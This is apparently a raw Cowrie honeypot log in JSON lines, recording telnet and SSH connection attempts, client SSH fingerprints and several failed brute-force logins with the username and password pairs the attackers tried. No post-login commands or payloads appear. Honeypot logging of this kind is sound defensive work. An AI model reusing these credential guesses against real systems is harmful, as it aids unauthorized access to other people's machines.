{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9873d92dc7","protocol":"telnet","message":"New connection: 62.210.97.77:43634 (10.17.0.5:23) [session: 9d9873d92dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.498230Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.577464Z","src_ip":"176.65.132.254","session":"75c243bbc024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f6075354a5","protocol":"telnet","message":"New connection: 62.210.97.77:43650 (10.17.0.5:23) [session: c5f6075354a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.897569Z"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:11.066022Z","src_ip":"176.65.132.254","session":"75c243bbc024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.708922147750854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:11.236289Z","src_ip":"136.144.139.78","session":"c7ad964a6b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43658,"dst_ip":"10.17.0.5","dst_port":23,"session":"630acb47c43d","protocol":"telnet","message":"New connection: 62.210.97.77:43658 (10.17.0.5:23) [session: 630acb47c43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:11.449374Z"}
{"eventid":"cowrie.session.closed","duration":36.85075926780701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:11.638023Z","src_ip":"65.60.27.33","session":"8b2bd8549c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43668,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e5d244e449","protocol":"telnet","message":"New connection: 62.210.97.77:43668 (10.17.0.5:23) [session: 92e5d244e449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:11.805138Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43678,"dst_ip":"10.17.0.5","dst_port":23,"session":"861cbf69e6bb","protocol":"telnet","message":"New connection: 62.210.97.77:43678 (10.17.0.5:23) [session: 861cbf69e6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.089760Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.157915Z","src_ip":"176.65.132.254","session":"75c243bbc024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35312,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d201b1f38a","protocol":"telnet","message":"New connection: 136.144.139.78:35312 (159.203.135.109:23) [session: 36d201b1f38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.172118Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":60126,"dst_ip":"159.203.135.109","dst_port":22,"session":"008fc578387c","protocol":"ssh","message":"New connection: 103.189.235.176:60126 (159.203.135.109:22) [session: 008fc578387c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.214654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.219486Z","src_ip":"103.189.235.176","session":"008fc578387c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":32854,"dst_ip":"10.17.0.5","dst_port":23,"session":"862e7102ca2f","protocol":"telnet","message":"New connection: 38.54.119.93:32854 (10.17.0.5:23) [session: 862e7102ca2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.287494Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43692,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fea3530e4ae","protocol":"telnet","message":"New connection: 62.210.97.77:43692 (10.17.0.5:23) [session: 0fea3530e4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.319670Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35320,"dst_ip":"159.203.135.109","dst_port":23,"session":"2429c4ba93f2","protocol":"telnet","message":"New connection: 136.144.139.78:35320 (159.203.135.109:23) [session: 2429c4ba93f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.456056Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.461370Z","src_ip":"103.189.235.176","session":"008fc578387c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46052837371826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.517449Z","src_ip":"62.210.97.77","session":"e9865c5a10bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43700,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf60b94d239","protocol":"telnet","message":"New connection: 62.210.97.77:43700 (10.17.0.5:23) [session: ebf60b94d239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:12.572402Z"}
{"eventid":"cowrie.session.closed","duration":34.28962779045105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:13.204858Z","src_ip":"62.210.97.77","session":"f812b2947eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43720,"dst_ip":"10.17.0.5","dst_port":23,"session":"50d070405129","protocol":"telnet","message":"New connection: 62.210.97.77:43720 (10.17.0.5:23) [session: 50d070405129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:13.454152Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"Password1!","message":"login attempt [sftpuser/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:13.462133Z","src_ip":"103.189.235.176","session":"008fc578387c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11854267120361,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:13.944415Z","src_ip":"62.210.97.77","session":"eefcefddecb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43712,"dst_ip":"10.17.0.5","dst_port":23,"session":"85bfe8549951","protocol":"telnet","message":"New connection: 62.210.97.77:43712 (10.17.0.5:23) [session: 85bfe8549951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.412322Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":40094,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4cdfd541cf0","protocol":"ssh","message":"New connection: 45.78.198.206:40094 (10.17.0.5:22) [session: e4cdfd541cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.672073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.677175Z","src_ip":"45.78.198.206","session":"e4cdfd541cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52996,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf784431085","protocol":"telnet","message":"New connection: 65.60.27.33:52996 (10.17.0.5:23) [session: 3cf784431085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.685207Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.704077Z","src_ip":"103.189.235.176","session":"008fc578387c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53480,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d49c4269ed3","protocol":"ssh","message":"New connection: 176.65.132.254:53480 (10.17.0.5:22) [session: 8d49c4269ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.771002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.875234Z","src_ip":"176.65.132.254","session":"8d49c4269ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:14.879533Z","src_ip":"176.65.132.254","session":"8d49c4269ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.00436806678772,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:15.281732Z","src_ip":"65.60.27.33","session":"86b24048a6e8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:15.320012Z","src_ip":"176.65.132.254","session":"8d49c4269ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f243fbed626","protocol":"telnet","message":"New connection: 62.210.97.77:43726 (10.17.0.5:23) [session: 8f243fbed626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:15.713628Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:15.834727Z","src_ip":"45.78.198.206","session":"e4cdfd541cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:16.407314Z","src_ip":"176.65.132.254","session":"8d49c4269ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptesttest","message":"login attempt [ftptest/ftptesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:16.552919Z","src_ip":"45.78.198.206","session":"e4cdfd541cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.431403160095215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:16.774453Z","src_ip":"62.210.97.77","session":"2d96dab96230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36062,"dst_ip":"10.17.0.5","dst_port":23,"session":"92cf8cc404fa","protocol":"telnet","message":"New connection: 38.54.119.93:36062 (10.17.0.5:23) [session: 92cf8cc404fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:16.826882Z"}
{"eventid":"cowrie.session.closed","duration":36.32650589942932,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:17.417042Z","src_ip":"62.210.97.77","session":"fa574586a29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:17.795041Z","src_ip":"45.78.198.206","session":"e4cdfd541cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17435598373413,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:18.181793Z","src_ip":"62.210.97.77","session":"efdf4598d193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":34152,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e138fe453bd","protocol":"telnet","message":"New connection: 136.144.139.78:34152 (159.203.135.109:23) [session: 4e138fe453bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:18.624999Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9098f5fc7e","protocol":"ssh","message":"New connection: 176.65.132.254:53496 (10.17.0.5:22) [session: ad9098f5fc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:19.065677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:19.070487Z","src_ip":"176.65.132.254","session":"ad9098f5fc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:19.153320Z","src_ip":"176.65.132.254","session":"ad9098f5fc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:19.402191Z","src_ip":"176.65.132.254","session":"ad9098f5fc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.79125785827637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:19.653790Z","src_ip":"62.210.97.77","session":"c0caaafb4f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b35fa1d4ef0a","protocol":"telnet","message":"New connection: 65.60.27.33:59444 (10.17.0.5:23) [session: b35fa1d4ef0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:20.262802Z"}
{"eventid":"cowrie.session.closed","duration":38.77245593070984,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:20.341947Z","src_ip":"62.210.97.77","session":"21b49dfe3296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.583234548568726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:20.404328Z","src_ip":"62.210.97.77","session":"c58f984b9379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:20.489664Z","src_ip":"176.65.132.254","session":"ad9098f5fc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3963c04d13","protocol":"telnet","message":"New connection: 62.210.97.77:38788 (10.17.0.5:23) [session: 2a3963c04d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.154037Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39000,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf4e6004c83","protocol":"telnet","message":"New connection: 38.54.119.93:39000 (10.17.0.5:23) [session: cdf4e6004c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.240225Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38798,"dst_ip":"10.17.0.5","dst_port":23,"session":"191d538c14f4","protocol":"telnet","message":"New connection: 62.210.97.77:38798 (10.17.0.5:23) [session: 191d538c14f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.250194Z"}
{"eventid":"cowrie.session.closed","duration":6.63921046257019,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.324290Z","src_ip":"65.60.27.33","session":"3cf784431085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38772,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17bcd5d5567","protocol":"telnet","message":"New connection: 62.210.97.77:38772 (10.17.0.5:23) [session: b17bcd5d5567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.485662Z"}
